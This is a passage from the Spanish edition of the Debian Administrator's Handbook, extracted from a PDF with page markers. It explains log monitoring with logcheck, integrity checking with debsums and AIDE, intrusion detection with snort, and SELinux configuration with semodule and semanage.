todo funciona como se espera ydetectar de manera oportuna cualquierdesvío en la conducta o cambio en lacalidad de los servicios prestados.Monitorizar la actividad puede permitirla detección de intentos de intrusión ypermitir una reacción rápida antes queocurran graves consecuencias. Estasección revisa algunas de lasherramientas que puede utilizar paramonitorizar varios aspectos de unsistema Debian. Como tal, estocompleta la sección dedicada a lamonitorización genérica del sistema enel Chapter 12, Administraciónavanzada.

14.3.1. Monitorización

Page 1716: El Libro Del Administrador de Debian - Raphael Hertzog

14.3.1. Monitorizaciónde los registros conlogcheckEl programa logcheck monitoriza losarchivos de registro, de formapredeterminada, cada hora. Envía losmensajes de registro inusuales encorreos electrónicos al administradorpara su posterior análisis.

La lista de archivos a monitorizar sealmacena en/etc/logcheck/logcheck.logfiles;los valores predeterminados funcionanbien si no modificó completamente elarchivo /etc/syslog.conf.

Page 1717: El Libro Del Administrador de Debian - Raphael Hertzog

logcheck puede funcionar en una detres modalidades más o menosdetalladas: paranoid, server yworkstation. El primero es muydetallado y, probablemente, deberíarestringirlo a servidores específicoscomo firewalls. El segundo (ypredeterminado) es el modorecomendado para la mayoría de losservidores. El ultimo está diseñadopara estaciones de trabajo y es aún másconciso (filtra la mayoría de losmensajes).

En los tres casos, probablementedebería personalizar logcheck paraexcluir algunos mensajes adicionales(dependiendo de los servicios

Page 1718: El Libro Del Administrador de Debian - Raphael Hertzog

instalados) a menos que eladministrador realmente desee recibir acada hora correos electrónicos enormesy poco interesantes. Dado que elmecanismo de selección de mensajeses bastante complejo,/usr/share/doc/logcheck-

database/README.logcheck-

database.gz es una lectura — aunquedifícil — necesaria.

Las reglas aplicadas se puede dividir envarios tipos:

aquellas que clasifican un mensajecomo un intento de intrusión —«cracking» (almacenado en unarchivo en el directorio/etc/logcheck/cracking.d/);

Page 1719: El Libro Del Administrador de Debian - Raphael Hertzog

aquellas que cancelan estaclasificación(/etc/logcheck/cracking.ignore.d/aquellos que clasifican un mensajecomo una alerta de seguridad(/etc/logcheck/violations.d/);aquellos que cancelan estaclasificación(/etc/logcheck/violations.ignore.d/finalmente, aquellas que sonaplicadas a los mensajes restantes(considerados como eventos delsistema).

PRECAUCIÓN Ignorar un mensaje

Cualquier mensaje marcado como unintento de intrusión o una alerta deseguridad (siguiendo una regla

Page 1720: El Libro Del Administrador de Debian - Raphael Hertzog

almacenada en el archivo/etc/logcheck/violations.d/miarchivo)sólo puede ser ignorado por una regla enel archivo/etc/logcheck/violations.ignore.d/miarchivo

o/etc/logcheck/violations.ignore.d/miarchivo-

Siempre se indicará un evento desistema a menos que una regla enalguno de los directorios en/etc/logcheck/ignore.d.

{paranoid,server,workstation}/

indique que el evento debe serignorado. Por supuesto, sólo setomarán en cuenta los directorios quecorresponden a los niveles de detalleigual o mayor al modo defuncionamiento seleccionado.

Page 1721: El Libro Del Administrador de Debian - Raphael Hertzog

SUGERENCIA Sus registros como fondode pantalla

A algunos administradores les gusta verlos mensajes de registros en tiempo real;puede utilizar la orden root-tail(contenida en el paquete root-tail) paraintegrar los registros con el fondo delescritorio gráfico. El programa xconsole(contenido en el paquete x11-apps)también puede mostrarlos en una pequeñaventana. Los mensajes se obtienendirectamente desde syslogd a través de latubería con nombre /dev/xconsole.

14.3.2. Monitorizaractividad

Page 1722: El Libro Del Administrador de Debian - Raphael Hertzog

14.3.2.1. En tiempo real

top es una herramienta interactiva quemuestra una lista de los procesos enejecución. La ordenaciónpredeterminada es según la cantidad deprocesador utilizada y se puede obtenermediante la tecla P. Entre otroscriterios de ordenación podemosencontrar: según la cantidad dememoria ocupada (tecla M), según eltiempo total de uso de procesador(tecla T) y según el identificador deproceso (tecla N). La tecla k permitematar un proceso ingresando suidentificador de proceso. La tecla rpermite ejecutar renice sobre unproceso, es decir: cambiar su prioridad.

Page 1723: El Libro Del Administrador de Debian - Raphael Hertzog

Cuando el sistema aparenta estarsobrecargado, top es una herramientaexcelente para ver qué procesos estancompitiendo por el tiempo deprocesador o consumiendo demasiadamemoria. En particular, a menudo esinteresante comprobar si los procesosque están consumiendo los recursos secorresponden con los servicios realesque la máquina debe albergar. Porejemplo, un proceso desconocidoejecutándose como el usuario www-data debería llamar su atención y serinvestigado puesto que posiblementesea algún tipo de software instalado yejecutado en el sistema a través de unavulnerabilidad en una aplicación web.

Page 1724: El Libro Del Administrador de Debian - Raphael Hertzog

top es una herramienta muy flexible ysu página de manual detalla cómopersonalizar su presentación yadaptarla a las necesidades y hábitosparticulares.

Las herramientas gráficas gnome-system-monitor y qps son similares alprograma top y proporcionanaproximandamente las mismasprestaciones.

SUGERENCIA Representacionesvisuales de la actividad

Para obtener representaciones másvisuales (y entretenidas) de la actividadde un equipo, debería investigar lospaquetes lavaps, bubblemon y

Page 1725: El Libro Del Administrador de Debian - Raphael Hertzog

bubblefishymon. lavaps muestra losprocesos en ejecución como burbujas decera en una lámpara de lava. bubblemones un applet de escritorio que representala cantidad de memoria y procesadorutilizado como un acuario con burbujas.bubblefishymon es bastante similar, peroademás añade peces que representan eltráfico de red (e incluso un pato).

14.3.2.2. Historial

La carga del procesador, el tráfico dered y el espacio libre en disco son datosque varían constantemente. A menudoes útil disponer de un historial con suevolución para determinar cómo seutiliza exáctamente la máquina.

Page 1726: El Libro Del Administrador de Debian - Raphael Hertzog

Existen muchas herramientasdedicadas para esta tarea. La mayoríapuede obtener datos a través de SNMP(protocolo simple de gestión de red:«Simple Network ManagementProtocol») para centralizar estainformación. Un beneficio adicional esque permite recoger datos de elementosde red que pueden no ser equipos depropósito general, tal como switches orouters dedicados.

Este libro habla de Munin con ciertodetalle (ver la Section 12.4.1,“Configuración de Munin” como partedel Chapter 12: “Administraciónavanzada”. Debian tambiénproporciona una herramienta similar:

Page 1727: El Libro Del Administrador de Debian - Raphael Hertzog

cacti. Su despliegue es algo máscomplejo puesto que se basaexclusivamente en SNMP. A pesar deque dispone de una interfaz web,entender los conceptos involucrados enla configuración requiere de todasformas un poco de esfuerzo. Deberíaconsiderar como prerequisito leer ladocumentación HTML(/usr/share/doc/cacti/html/index.html

ALTERNATIVA mrtg

mrtg (contenido en el paquete del mismonombre) es una herramienta más antigua.A pesar de algunas asperezas, puedeagrupar datos históricos y mostrarloscomo gráficos. Incluye algunos scriptspara recolectar los datos monitorizados

Page 1728: El Libro Del Administrador de Debian - Raphael Hertzog

con más frecuencia como la carga deprocesador, el tráfico de red, el número deimpresiones de una página web, etc.

Los paquetes mrtg-contrib y mrtgutilscontienen scripts de ejemplo que puedeutilizar directamente.

14.3.3. Detección decambiosUna vez que el sistema está instalado yconfigurado, dejando al margen lasactualizaciones de seguridad,normalmente no hay razón para que losarchivos y directorios cambien con

Page 1729: El Libro Del Administrador de Debian - Raphael Hertzog

excepción de los datos. Por lo tanto, esinteresante asegurarse queefectivamente los archivos no cambian:debería investigar cualquier cambioinesperado. Esta sección presentaalgunas herramientas capaces demonitorizar archivos y advertir aladministrador en caso de que seproduzca algún cambio inesperado (osimplemente enumerar estos cambios).

14.3.3.1. Auditoría depaquetes: debsums y suslímites

YENDO MÁS ALLÁ Protección contralos cambios de los desarrolladores

Page 1730: El Libro Del Administrador de Debian - Raphael Hertzog

originales

debsums es útil para detectar cambios enlos archivos que provienen de un paquetede Debian, pero es inútil si el propiopaquete ha sido comprometido, porejemplo si se comprometió la réplicaDebian. Protegerse de este tipo de ataquesimplica utilizar del sistema deverificación de firma digital de APT(revise la Section 6.5, “Comprobando laautenticidad de un paquete”) y sóloinstalar paquetes de un origen certificado.

debsums es una herramientainteresante ya que permite buscar quéarchivos instalados han sidomodificados (potencialmente por unatacante), pero debe tratarse con

Page 1731: El Libro Del Administrador de Debian - Raphael Hertzog

prudencia. En primer lugar, porque notodos los paquetes de Debianproporcionan las huellas digitalesrequeridas por este programa (siexisten, se encuentran en/var/lib/dpkg/info/paquete.md5sums

Como recordatorio: una huella digitales un valor, a menudo un número(aunque pueda estar en notaciónhexadecimal), que contiene un tipo defirma de los contenidos de un archivo.Se calcula esta firma mediante unalgoritmo (MD5 o SHA1 son ejemplosmuy conocidos) que más o menosgarantizan que incluso el cambio máspequeño en el contenido de un archivoimplica un cambio en su huella digital;esto es conocido como «efecto

Page 1732: El Libro Del Administrador de Debian - Raphael Hertzog

avalancha». Esto permite que unasimple huella digital numérica sirvacomo patrón para comprobar si sealteró el contenido de un archivo. Estosalgoritmos no son reversibles; en otraspalabra, para la mayoría de ellos,conocer la huella digital no permiteaveriguar los contenidoscorrespondientes. Los avancesmatemáticos recientes parece quedebilitan la verdad absoluta de estosprincipios, pero por el momento su usono se ha puesto en cuestón, ya quecrear distintos contenidos queproduzcan la misma huella todavíaparece una tarea muy complicada.

Adicionalmente, se almacenan los

Page 1733: El Libro Del Administrador de Debian - Raphael Hertzog

archivos md5sums en el disco duro; porlo tanto un atacante meticulosoactualizará estos archivos para quecontengan las nuevas sumas de controlde los archivos sustituidos.

El primer inconveniente se puedeevitar haciendo que debsums base suscomprobaciones en un paquete .deb enlugar de confiar en el archivo md5sums.Pero esto requiere descargarpreviamente los archivos .debcorrespondientes:

# apt-get --reinstall -d install `debsums -l`

[ ... ]

# debsums -p /var/cache/apt/archives -g

Page 1734: El Libro Del Administrador de Debian - Raphael Hertzog

También conviene notar que, en suconfiguración predeterminada,debsums genera automáticamente losarchivos md5sums faltantes cada vezque instale un paquete utilizando APT.

Puede evitar el otro problema de formasimilar: simplemente debe basar lacomprobación en un archivo .debimpoluto. Debido a que esto implicadisponer de los archivos .deb de todoslos paquetes instalados, y además estarseguros de su integridad, la forma mássencilla es obtenerlos de una réplicaDebian. Esta operación puede ser lentay tediosa y, por lo tanto, no debeconsiderarse como una técnicaproactiva a utilizar de forma regular.

Page 1735: El Libro Del Administrador de Debian - Raphael Hertzog

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package`

[ ... ]

# debsums -p /var/cache/apt/archives --generate=all

Sepa que este ejemplo utiliza elprograma grep-status del paquetedctrl-tools que no se instala de formapredeterminada.

14.3.3.2. Monitorización dearchivos: AIDE

La herramienta AIDE (entornoavanzado de detección de intrusión:«Advanced Intrusion DetectionEnvironment») permite comprobar laintegridad de los archivos y detectar

Page 1736: El Libro Del Administrador de Debian - Raphael Hertzog

cualquier cambio frente a una imagenguardada previamente del sistemaválido. Se almacena esta imagen comouna base de datos(/var/lib/aide/aide.db) quecontiene la información relevante detodos los archivos del sistema (huelladigital, permisos, marcas temporales,etc.). Se inicializa esta base de datoscon aideinit; luego se la utilizadiariamente (por el script/etc/cron.daily/aide) paracomprobar que nada importante hayacambiado. Cuando se detectancambios, AIDE los almacena enarchivos de registro(/var/log/aide/*.log) y envía loencontrado en un email al

Page 1737: El Libro Del Administrador de Debian - Raphael Hertzog

administrador.

EN LA PRÁCTICA Protección de la basede datos

Debido a que AIDE utiliza una base dedatos local para comparar el estado de losarchivos, la validez de sus resultados estáasociada directamente a la validez de labase de datos. Si un atacante consigueobtener permisos de administrador en unsistema comprometido, podrá reemplazarla base de datos y cubrir sus huellas. Unaposible solución podría ser almacenar labase de datos de referencia en un mediode almacenamiento de sólo lectura.

Puede utilizar numerosas opciones enel archivo /etc/default/aide para

Page 1738: El Libro Del Administrador de Debian - Raphael Hertzog

configurar el comportamiento delpaquete aide. Se almacena laconfiguración de AIDE en sí en/etc/aide/aide.conf y/etc/aide/aide.conf.d/ (de hecho,sólo update-aide.conf utiliza estosarchivos para generar/var/lib/aide/aide.conf.autogenerated

La configuración indica quépropiedades se deben comprobar. Porejemplo, el contenidos de los archivosde registro cambia continuamente, y sepuede ignorar estos cambios mientrasque los permisos de los archivospermanezcan inalterados, pero tanto elcontenido como los permisos de losprogramas ejecutables debepermanecer constante. Aunque no es

Page 1739: El Libro Del Administrador de Debian - Raphael Hertzog

excesivamente compleja, la sintáxis dela configuración no es del todointuitiva y, por lo tanto, recomendamosleer su página de manual aide.conf(5).

Cada día se genera una nueva versiónde la base de datos en/var/lib/aide/aide.db.new; sitodos los cambios registrados sonlegítimos, puede utilizarla parareemplazar la base de datos dereferencia.

ALTERNATIVA Tripwire y Samhain

Tripwire es muy similar a AIDE; inclusola sintáxis del archivo de configuraciónes prácticamente la misma. La ventajaprincipal de tripwire es un mecanismo

Page 1740: El Libro Del Administrador de Debian - Raphael Hertzog

para firmar el archivo de configuración,de forma que un atacante no pueda hacerque apunte a una versión diferente de labase de datos de referencia.

Samhain también ofrece característicassimilares, así como algunas funcionespara ayudar a detectar «rootkits» (reviseel recuadro VISTA RÁPIDA). Tambiénpuede desplegarlo de forma global en unared y guardar sus trazas en un servidorcentral (con su firma correspondiente).

VISTA RÁPIDO Los paqueteschecksecurity y chkrootkit/rkhunter

El primero de estos paquetes contienevarios scripts pequeños que realizancomprobaciones básicas en el sistema(contraseñas vacías, nuevos archivos

Page 1741: El Libro Del Administrador de Debian - Raphael Hertzog

setuid, etc.) y advierten al administradorsi fuese necesario. A pesar de su nombreexplícito, un administrador no deberíaconfiar exclusivamente en él paraasegurarse que un sistema Linux esseguro.

Los paquetes chkrootkit y rkhunterpermiten buscar posibles «rootkits»instalados en el sistema. Comorecordatorio, estos son programasdesignados para ocultar que se hacomprometido el sistema a la vez que semantiene el control de la máquina. Lascomprobaciones no son 100% confiables,pero generalmente pueden guiar laatención del administrador a problemaspotenciales.

Page 1742: El Libro Del Administrador de Debian - Raphael Hertzog

14.3.4. Detección deintrusiones(IDS/NIDS)

VOLVER A LOS CIMIENTOSDenegación de servicio

Un ataque de «denegación de servicio»tiene una única finalidad: hacer que unservicio no esté disponible. El resultadoes el mismo independientemente de si elataque implica sobrecargar al servidormediante consultas o si se aprovechaalgún fallo: el servicio deja de estaroperativo. Los usuarios habituales noestarán contentos y la entidad que albergala red a la que se dirige el ataque sufre

Page 1743: El Libro Del Administrador de Debian - Raphael Hertzog

una pérdida de reputación (yposiblemente también de ingresos, porejemplo si el servicio es un sitio decomercio electrónico).

Algunas veces estos ataques son«distribuidos»; esto implicahabitualmente sobrecargar al servidor conuna gran cantidad de consultasprovenientes de diferentes fuentes paraque el servidor no sea capaz de atenderlas consultas legítimas. Este tipo deataques se han hecho merecedores de dosacrónimos muy conocidos: DoS(denegación de servicio: «Denial ofService») y DDoS (denegación deservicio distribuido: «Distributed Denialof Service») según si el ataque esdistribuido o no.

Page 1744: El Libro Del Administrador de Debian - Raphael Hertzog

snort (del paquete Debian con elmismo nombre) es un NIDS — unsistema de detección de intrusiones dered («Network Intrusion DetectionSystem»). Su función es escuchar lared y tratar de detectar intentos deinfiltración y/o actos hostiles(inclusive ataques de denegación deservicio). Todos estos eventos sonregistrados y diariamente se envía unemail al administrador con un resumende las últimas 24 horas.

Su configuración requiere describir elrango de direcciones que cubre la redlocal. En la práctica, esto significa elconjunto de potenciales objetivos delos ataques. Se pueden configurar otros

Page 1745: El Libro Del Administrador de Debian - Raphael Hertzog

parámentros importantes mediantedpkg-reconfigure snort, incluyendo lainterfaz de red a monitorizar. Amenudo será eth0 para una conexiónEthernet, pero existen otrasposibilidades como ppp0 para una líneaADSL o PSTN (red pública detelefonía conmutada: «Public SwitchedTelephone Network», es decir unconfiable y antiguo módem), o inclusowlan0 para algunas tarjetas de redinalámbricas.

YENDO MÁS ALLÁ Integración conprelude

Prelude permite la monitorizacióncentralizada de la información deseguridad. Su arquitectura modular

Page 1746: El Libro Del Administrador de Debian - Raphael Hertzog

incluye un servidor (el gestor, en elpaquete prelude-manager), que recoge lasalertas generadas por los sensores dediferentes tipos.

Puede configurar Snort como uno de estossensores. Otra posibilidad es prelude-lml(lacayo de monitorización de registros:«Log Monitor Lackey»), que monitorizalos archivos de registro (de forma similara como lo hace logcheck, descripto en laSection 14.3.1, “Monitorización de losregistros con logcheck”).

El archivo de configuración(/etc/snort/snort.conf) de snort esmuy largo, y los abundantescomentarios describen cada directivade forma detallada. Para aprovecharlo

Page 1747: El Libro Del Administrador de Debian - Raphael Hertzog

al máximo, deberá leerlocompletamente y adaptarlo a lasituación local. Por ejemplo, al indicarqué máquina alberga qué serviciopuede limitar el número de incidentesque snort reportará, puesto que unataque de denegación de servicio a unequipo de escritorio es mucho menoscrítico que uno dirigido a un servidorDNS. Otra directiva interesantepermite almacenar las asociacionesentre direcciones IP y direccionesMAC (que identifican de formaunívoca a una tarjeta de red), lo quepermite detectar ataques de tipo «ARPspoofing» en los que una máquinacomprometida intenta suplantar laidentidad de otra, por ejemplo un

Page 1748: El Libro Del Administrador de Debian - Raphael Hertzog

servidor sensible.

PRECAUCIÓN Rango de acción

La efectividad de snort está limitada porel tráfico que ve en la interfaz de redmonitorizada. Obviamente no podrádetectar nada si no puede observar eltráfico real. Cuando se encuentraconectado a un switch de red sólomonitorizará los ataques que tengan comoobjetivo a la máquina en la que estáejecutándose, lo que probablemente nosea la intención. Por lo tanto, la máquinaque ejecute snort debería conectarse a unpuerto «espejo» del switch, quehabitualmente se utiliza para encadenarswitches y, por lo tanto, obtiene todo eltráfico.

En una pequeña red basada en un hub no

Page 1749: El Libro Del Administrador de Debian - Raphael Hertzog

existe este problema puesto que todas lasmáquinas reciben todo el tráfico.

Page 1750: El Libro Del Administrador de Debian - Raphael Hertzog

14.4. Introduccióna SELinux

14.4.1. PrincipiosSELinux (Linux con seguridadmejorada: «Security Enhanced Linux»)es un sistema de control obligatorio deacceso («Mandatory Access Control»)basado en la interfaz LSM (módulos deseguridad de Linux: «Linux SecurityModules»). En la práctica, el núcleopregunta a SELinux antes de cadallamada al sistema para saber si unproceso está autorizado a realizar dicha

Page 1751: El Libro Del Administrador de Debian - Raphael Hertzog

operación.

SELinux utiliza una serie de reglas —conocidas en conjunto como unapolítica («policy») — para autorizar odenegar operaciones. Estas reglas sondifíciles de crear. Afortunadamente seproporcionan dos políticas estándar(targeted, dirigida, y strict, estricta)para evitar gran parte del trabajo deconfiguración.

Con SELinux, la gestión de permisos escompletamente distinta a la de lossistemas Unix tradicionales. Lospermisos de un proceso dependen de sucontexto de seguridad. El contexto estádefinido por la identidad del usuario

Page 1752: El Libro Del Administrador de Debian - Raphael Hertzog

que lanza el proceso y el rol y eldominio que el usuario tenía en esemomento. Los permisos realmentedependen del dominio, pero los rolescontrolan la transición entre dominios.Por último, las transiciones posiblesentre roles dependen de la identidad.

Figure 14.3. Contextos de seguridad yusuarios Unix

Page 1753: El Libro Del Administrador de Debian - Raphael Hertzog

En la práctica, a un usuario se le asignaun contexto de seguridadpredeterminado al iniciar sesión(dependiendo de los roles que puedaadoptar). Esto define el dominio actualy, por lo tanto, el dominio de todos losprocesos hijos que lance. Si desea

Page 1754: El Libro Del Administrador de Debian - Raphael Hertzog

cambiar el rol actual y su dominioasociado, debe ejecutar newrole -rrol_r -t dominio_t (habitualmente sepermite un único dominio para un roldeterminado por lo que puede omitir elparámetro -t). Este programa loautenticará pidiéndole que ingrese sucontraseña. Esta característica impideque los programas cambien de rol deforma automática. Estos cambios sólopueden ocurrir si se permitenexplícitamente en la política deseguridad de SELinux.

Obviamente los permisos no se aplicana todos los objetos (archivos,directorios, zócalos, dispositivos, etc.).Pueden variar de objeto a objeto. Para

Page 1755: El Libro Del Administrador de Debian - Raphael Hertzog

conseguir esto, cada objeto estáasociado a un tipo (esta operación seconoce como etiquetado). Por ello seexpresan los permisos de los dominioscomo conjuntos de operacionespermitidas o denegadas sobre estostipos (e indirectamente sobre todos losobjetos que estan etiquetados con dichotipo).

EXTRA Los dominios y los tipos sonequivalentes

Internamente un dominio es simplementeun tipo, pero un tipo que sólo se aplica aprocesos. Es por esta razón que losdominios tiene el sufijo _t al igual que lostipos de objeto.

Page 1756: El Libro Del Administrador de Debian - Raphael Hertzog

De forma predeterminada, losprogramas heredan el dominio delusuario que los ejecuta, pero laspolíticas estándar de SELinux esperanque muchos programas importantes seejecuten en dominios dedicados. Paraconseguir esto, se etiquetan dichosejecutables con un tipo dedicado (porejemplo, se etiqueta ssh conssh_exec_t y, cuando inicia elprograma, automáticamente cambia aldominio ssh_t). Este mecanismo detransición automática de dominiospermite otorgar exclusivamente lospermisos que requiere cada programa.Es un principio fundamental deSELinux.

Page 1757: El Libro Del Administrador de Debian - Raphael Hertzog

Figure 14.4. Transicionesautomáticas entre dominios

Page 1758: El Libro Del Administrador de Debian - Raphael Hertzog

EN LA PRÁCTICA Averiguar el

Page 1759: El Libro Del Administrador de Debian - Raphael Hertzog

contexto de seguridad

Para averiguar el contexto de seguridadde un proceso, debe utilizar la opción Z deps.

$ ps axZ | grep vstfpd

system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd

El primer campo contiene la identidad, elrol, el dominio y el nivel MCS separadospor dos puntos. El nivel MCS (seguridadmulticategoría: «Multi-CategorySecurity») es un parámetro que intervieneen el establecimiento de una política deprotección de la confidencialidad, queregula el acceso a archivos basándose ensu sensibilidad. No explicaremos estacaracterística en este libro.

Para averiguar el contexto de seguridadem una consola, puede ejecutar id -Z.

Page 1760: El Libro Del Administrador de Debian - Raphael Hertzog

$ id -Z

unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Por último, para averiguar el tipoasignado a un archivo, puede utilizar ls -Z.

$ ls -Z test /usr/bin/ssh

unconfined_u:object_r:user_home_t:s0 test

system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

Es importante saber que la identidad y rolasignados a un archivo no tienenimportancia especial (nunca sonutilizados), pero se le asigna un contextode seguridad completo a todos los objetospara mantener la uniformidad.

14.4.2. Configuración

Page 1761: El Libro Del Administrador de Debian - Raphael Hertzog

de SELinuxTodos los núcleos estándar que Debianproporciona incluyen compatibilidadcon SELinux. Todas las herramientasbásicas Unix son compatibles conSELinux sin ninguna modificación. Porlo tanto, es relativamente sencillohabilitar SELinux.

La orden aptitude install selinux-basics selinux-policy-default instalaráautomáticamente todos los paquetesnecesarios para configurar un sistemaSELinux.

El paquete selinux-policy-defaultcontiene un conjunto de reglas

Page 1762: El Libro Del Administrador de Debian - Raphael Hertzog

estándar. De forma predeterminada,esta política sólo restringe el acceso aalgunos servicios expuestosampliamente. Las sesiones de usuariono están restringidas y, por lo tanto, esimprobable que SELinux bloquee unaoperación legítima de un usuario. Sinembargo, mejora la seguridad de losservicios del sistema que esténejecutando en la máquina. Paraestablecer una política equivalente alas reglas «estrictas» antiguas debedeshabilitar el módulo unconfined(detallamos la gestión de módulos másadelante en esta sección).

Después de instalar una política, debeetiquetar todos los archivos disponibles

Page 1763: El Libro Del Administrador de Debian - Raphael Hertzog

(lo que quiere decir asignarles un tipo).Debe iniciar esta operaciónmanualmente con fixfiles relabel.

Ahora el sistema SELinux está listo.Para habilitarlo debe añadir elparámetro selinux=1 al núcleo Linux.El parámetro audit=1 habilita losregistros de SELinux que graban todaslas operaciones denegadas. Por último,el parámetro enforcing=1 hace que seapliquen las reglas: sin él, SELinuxtrabaja en el modo predeterminadopermissive (permisivo) en el que lasacciones denegadas sólo sonregistradas pero son ejecutadas detodas formas. Por lo tanto, debemodificar el archivo de configuración

Page 1764: El Libro Del Administrador de Debian - Raphael Hertzog

del gestor de arranque GRUB paraañadir los parámetros que desee. Unaforma sencilla de hacerlo es modificarla variable GRUB_CMDLINE_LINUX en elarchivo /etc/default/grub y ejecutarupdate-grub. SELinux estará activo alreiniciar.

Es importante saber que el scriptselinux-activate automatiza todasestas operaciones y fuerza el etiquetadode archivos en el siguiente reinicio (loque evita que se creen nuevos archivossin etiquetar cuando SELinux aún noesta activo mientras se realiza eletiquetado).

14.4.3. Gestión de un

Page 1765: El Libro Del Administrador de Debian - Raphael Hertzog

sistema SELinuxLa política SELinux consiste en unconjunto de reglas modular, y suinstalación detecta y habilitaautomáticamente todos los módulosnecesarios en función de los serviciosque se encuentren instalados. Elsistema, por lo tanto, se encuentraoperativo de forma inmediata. Sinembargo, cuando instale un serviciodespués de haber instalado la políticaSELinux deberá habilitar el módulocorrespondiente manualmente. Paraello existe el programa semodule. Loque es más, debería tener la capacidadde definir los roles que cada usuario

Page 1766: El Libro Del Administrador de Debian - Raphael Hertzog

puede adoptar, lo que puede realizarcon el programa semanage.

Puede utilizar estos dos programas paramodificar la configuración actual deSELinux, almacenada en/etc/selinux/default/. A diferenciade otros archivos de configuración quepuede encontrar en /etc/, no debemodificar estos archivos manualmente.Debe utilizar los programas diseñadospara este propósito.

YENDO MÁS ALLÁ Más documentación

Puesto que su desarrollador original, laagencia nacional de seguridadestadounidense (NSA: «National SecurityAgency») no proporciona documentación

Page 1767: El Libro Del Administrador de Debian - Raphael Hertzog

oficial, la comunidad ha creado un wikipara compensarlo. Dispone de muchainformación, pero debe tener en cuentaque la mayoría de los que contribuyen aSELinux son usuarios de Fedora (en laque SELinux está habilitado de formapredeterminada). Por este motivo ladocumentación suele tratar con dichadistribución específicamente.

→ http://www.selinuxproject.org

También debería revisar la página delwiki de Debian dedicada a este tema, asícomo al blog de Russel Coker, que es unode los desarrolladores Debian más activosque trabaja en la compatibilidad conSELinux.

→ http://wiki.debian.org/SELinux

→ http://etbe.coker.com.au/tag/selinux/

Page 1768: El Libro Del Administrador de Debian - Raphael Hertzog

14.4.3.1. Gestión de módulosSELinux

Los módulos SELinux disponibles sealmacenan en el directorio/usr/share/selinux/default/. Parahabilitar uno de estos módulos en laconfiguración actual debe ejecutarsemodule -i módulo.pp. La extensiónpp significa paquete de política(«policy package»).

Puede eliminar un módulo de laconfiguración actual con semodule -rmódulo. Por último, semodule -lenumera los módulos habilitados

Page 1769: El Libro Del Administrador de Debian - Raphael Hertzog

actualmente. También imprime losnúmeros de versión correspondientes.

# semodule -i /usr/share/selinux/default/aide.pp

# semodule -l

aide 1.4.0

apache 1.10.0

apm 1.7.0

[...]

# semodule -r aide

# semodule -l

apache 1.10.0

apm 1.7.0

[...]

semodule carga inmediatamente lanueva configuración a menos queutilice la opción -n. De formapredeterminada, el programa actúasobre la configuración actual (indicada

Page 1770: El Libro Del Administrador de Debian - Raphael Hertzog

por la variable SELINUXTYPE en elarchivo /etc/selinux/config), perotambién puede modificar una distintaespecificándola con la opción -s.

14.4.3.2. Gestión deidentidades

Cada vez que un usuario inicia sesión,se le asigna una identidad SELinux.Esta identidad determina los roles quepuede adoptar. Puede configurar estascorrespondencias (entre el usuario y laidentidad y entre la identidad y losroles) con el programa semanage.

Es muy recomenable que lea la página

Page 1771: El Libro Del Administrador de Debian - Raphael Hertzog

de manual semanage(8), inclusocuando la sintáxis del programa tiendaa ser similar para todos los conceptosque gestiona. Encontrará muchasopciones comunes a todas lassubórdenes: -a para agregar, -d paraborrar, -m para modificar, -l paraenumerar y -t para indicar un tipo (odominio).

semanage login -l enumera lascorrespondencias actuales entreidentificadores de usuarios y entidadesSELinux. Los usuarios que no aparecenexplícitamente poseen la identidadpredeterminada, que corresponde alelemento __default__. Si ejecutasemanage login -a -s user_u usuario,

Page 1772: El Libro Del Administrador de Debian - Raphael Hertzog

asociará la identidad user_u con elusuario dado. Por último, semanagelogin -d usuario elimina la asociaciónasignada al usuario.

# semanage login -a -s user_u rhertzog

# semanage login -l

Nombre de Ingreso Usuario SELinux Rango MLS/MCS

__default__ unconfined_u s0-s0:c0.c1023

rhertzog user_u None

root unconfined_u s0-s0:c0.c1023

system_u system_u s0-s0:c0.c1023

# semanage login -d rhertzog

semanage user -l enumera lasasociaciones entre las identidades deusuario de SELinux y los rolespermitidos. Agregar una nuevaidentidad requiere definir tanto sus

Page 1773: El Libro Del Administrador de Debian - Raphael Hertzog

roles correspondientes como un prefijode etiquetado que se utiliza paraasignar un tipo a los archivospersonales (/home/usuario/*). Debeelegir el prefijo entre user, staff ysysadm. El prefijo «staff» hace quelos archivos sean del tipo«staff_home_dir_t». Para crear unanueva identidad de usuario SELinux,ejecute semanage user -a -R roles -Pprefijo identidad. Puede eliminaruna identidad de usuario SELinuxejecutando semanage user -didentidad.

# semanage user -a -R 'staff_r user_r' -P staff test_u

# semanage user -l

Etiquetado MLS/ MLS/

Page 1774: El Libro Del Administrador de Debian - Raphael Hertzog

Usuario SELinux Prefijo Nivel MCS Rango MCS Roles SELinux

root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r

staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r

sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r

system_u user s0 s0-s0:c0.c1023 system_r

test_u staff s0 s0 staff_r user_r

unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r

user_u user s0 s0 user_r

# semanage user -d test_u

14.4.3.3. Gestión decontextos de archivos,puertos y valores booleanos

Cada módulo de SELinux proporcionaun conjunto de reglas de etiquetado dearchivos, pero también es posible crearreglas de etiquetado personalizadas

Page 1775: El Libro Del Administrador de Debian - Raphael Hertzog

para adaptarse a algún caso específico.Por ejemplo, si desea que el servidorweb sea capaz de leer archivos en eldirectorio /srv/www/, podría ejecutarsemanage fcontext -a -thttpd_sys_content_t"/srv/www(/.*)?" seguido derestorecon -R /srv/www/. La primeraejecución registra las nuevas reglas deetiquetado, mientras que la segundahace que se reinicialicen los tipos dearchivo según las reglas de etiquetadoactuales.

De forma similar, se etiquetan lospuertos TCP/UDP de forma queasegure que únicamente los demonioscorrespondientes puedan escuchar en

Page 1776: El Libro Del Administrador de Debian - Raphael Hertzog

ellos. Por ejemplo, si desea que elservidor web pueda escuchar en elpuerto 8080, deberá ejecutar semanageport -m -t http_port_t -p tcp 8080.

Algunos módulos de SELinux exportanopciones booleanas que puede ajustarpara alterar el comportamiento de lasreglas predeterminadas. Puede utilizarla herramienta getsebool parainspeccionar estas opciones (getseboolopcion_booleana muestra una opciónconcreta, mientras que getsebool -amuestra todas). La orden setseboolopción_booleana valor cambia elvalor de una opción booleana. Laopción -P hace que el cambio seapermanente, es decir que el nuevo valor

Page 1777: El Libro Del Administrador de Debian - Raphael Hertzog

